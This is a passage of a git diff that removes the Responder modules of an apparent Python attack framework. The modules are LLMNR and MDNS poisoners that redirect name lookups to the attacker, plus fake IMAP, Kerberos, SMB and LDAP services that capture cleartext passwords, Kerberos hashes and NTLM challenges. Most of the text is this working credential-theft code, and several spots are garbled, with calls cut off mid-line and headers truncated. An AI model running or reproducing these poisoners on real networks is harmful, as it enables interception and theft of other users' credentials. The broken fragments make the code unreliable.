fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) -################################################################################## -#SMB Client Stuff -################################################################################## - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x4e"), - ("uid", "\x00\x08"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - -#SMB Header answer packet. -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x80"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\xff\xfe"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -#SMB Negotiate Answer packet. -class SMBNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x11\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\x43\x00\x00"), - ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), - ("Domain", ""), - - ]) - - def calculate(self): - - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"]) - self.fields["Bcc"] = struct.pack(". -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#IMAP4 Greating class -class IMAPGreating(Packet): - fields = OrderedDict([ - ("Code", "* OK IMAP4 service is ready."), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapability(Packet): - fields = OrderedDict([ - ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapabilityEnd(Packet): - fields = OrderedDict([ - ("Tag", ""), - ("Message", " OK CAPABILITY completed."), - ("CRLF", "\r\n"), - ]) diff --git a/core/responder/imap/IMAPserver.py b/core/responder/imap/IMAPserver.py deleted file mode 100644 index 91d4725..0000000 --- a/core/responder/imap/IMAPserver.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from IMAPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("IMAPserver", formatter) - -class IMAPserver(): - - def start(self): - try: - log.debug("online") - server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) - t = threading.Thread(name="IMAPserver", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port {}: {}".format(143, e)) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class IMAP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(IMAPGreating())) - data = self.request.recv(1024) - if data[5:15] == "CAPABILITY": - RequestTag = data[0:4] - self.request.send(str(IMAPCapability())) - self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) - data = self.request.recv(1024) - if data[5:10] == "LOGIN": - Credentials = data[10:].strip() - Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Credentials, Credentials) - #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) - log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) - self.request.send(str(ditchthisconnection())) - data = self.request.recv(1024) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/imap/__init__.py b/core/responder/imap/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/kerberos/KERBserver.py b/core/responder/kerberos/KERBserver.py deleted file mode 100644 index 837b7eb..0000000 --- a/core/responder/kerberos/KERBserver.py +++ /dev/null @@ -1,157 +0,0 @@ -import socket -import threading -import struct -import logging - -from core.logger import logger -from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler - -formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("KERBserver", formatter) - -class KERBserver(): - - def serve_thread_udp(self, host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting UDP server on port 88: {}:".format(e)) - - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting TCP server on port 88: {}:".format(e)) - - def start(self): - log.debug("online") - t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) - t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) - for t in [t1,t2]: - t.setDaemon(True) - t.start() - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -class KerbTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - KerbHash = ParseMSKerbv5TCP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -class KerbUDP(BaseRequestHandler): - - def handle(self): - try: - data, soc = self.request - KerbHash = ParseMSKerbv5UDP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. - -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -class LDAPSearchDefaultPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLen", "\x0c"), - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x0f"), - ("OpHeadASNID", "\x65"), - ("OpHeadASNIDLen", "\x07"), - ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. - ]) - -class LDAPSearchSupportedCapabilitiesPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x15"),#21 - ("SearchAttribASN2Str", "supportedCapabilities"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x16"),#22 - ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x17"),#23 - ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x17"),#23 - ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPSearchSupportedMechanismsPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x17"),#23 - ("SearchAttribASN2Str", "supportedSASLMechanisms"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x06"),#6 - ("SearchAttrib1ASNStr", "GSSAPI"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x0a"),#10 - ("SearchAttrib2ASNStr", "GSS-SPNEGO"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x08"),#8 - ("SearchAttrib3ASNStr", "EXTERNAL"), - ("SearchAttrib4ASNID", "\x04"), - ("SearchAttrib4ASNLen", "\x0a"),#10 - ("SearchAttrib4ASNStr", "DIGEST-MD5"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPNTLMChallenge(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x61"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 - ("Status", "\x0A"), - ("StatusASNLen", "\x01"), - ("StatusASNStr", "\x0e"), #In Progress. - ("MatchedDN", "\x04\x00"), #Null - ("ErrorMessage", "\x04\x00"), #Null - ("SequenceHeader", "\x87"), - ("SequenceHeaderLenOfLen", "\x81"), - ("SequenceHeaderLen", "\x82"), #188 - ("NTLMSSPSignature", "NTLMSSP"), - ("NTLMSSPSignatureNull", "\x00"), - ("NTLMSSPMessageType", "\x02\x00\x00\x00"), - ("NTLMSSPNtWorkstationLen","\x1e\x00"), - ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), - ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), - ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), - ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), - ("NTLMSSPNtTargetInfoLen","\x94\x00"), - ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), - ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh","\x05"), - ("NegTokenInitSeqMechMessageVersionLow","\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), - ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), - ("NTLMSSPNtWorkstationName","SMB12"), - ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), - ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), - ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), - ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), - ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), - ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), - ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), - ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), - ]) - - def calculate(self): - - ##Convert strings to Unicode first... - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') - - ###### Workstation Offset - CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) - - ###### AvPairs Offset - CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) - - ###### LDAP Packet Len - CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - - OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - ##### LDAP Len Calculation: - self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) - - ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(" 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack(' {}".format(OURIP)) - server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) - t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port 5355: {}:".format(e)) - -class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.252" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP)) - - UDPServer.server_bind(self) - -#LLMNR Answer packet. -class LLMNRAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x00"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionNameLen", "\x09"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] - -def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name - -# LLMNR Server class. -class LLMNR(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, soc = self.request - try: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if args.analyze: - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - else: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - else: - pass - else: - pass - except: - raise \ No newline at end of file diff --git a/core/responder/llmnr/__init__.py b/core/responder/llmnr/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py deleted file mode 100644 index fbd6698..0000000 --- a/core/responder/mdns/MDNSpoisoner.py +++ /dev/null @@ -1,115 +0,0 @@ -import threading -import socket -import struct -import logging - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.configwatcher import ConfigWatcher -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("MDNSpoisoner", formatter) - -class MDNSpoisoner(): - - def start(self, options, ourip): - - global args; args = options - global OURIP; OURIP = ourip - - try: - log.debug("OURIP => {}".format(OURIP)) - server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) - t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception, e: - log.error("Error starting on port 5353: {}" .format(e)) - -class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.251" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) - UDPServer.server_bind(self) - -class MDNSAns(Packet): - fields = OrderedDict([ - ("Tid", "\x00\x00"), - ("Flags", "\x84\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ - -def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name - -class MDNS(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - RespondTo = ResponderConfig['RespondTo'] - - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if args.analyze: - if Parse_IPV6_Addr(data): - log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: - pass - except Exception: - raise \ No newline at end of file diff --git a/core/responder/mdns/__init__.py b/core/responder/mdns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mssql/MSSQLPackets.py b/core/responder/mssql/MSSQLPackets.py deleted file mode 100644 index 8e05eb1..0000000 --- a/core/responder/mssql/MSSQLPackets.py +++ /dev/null @@ -1,154 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# 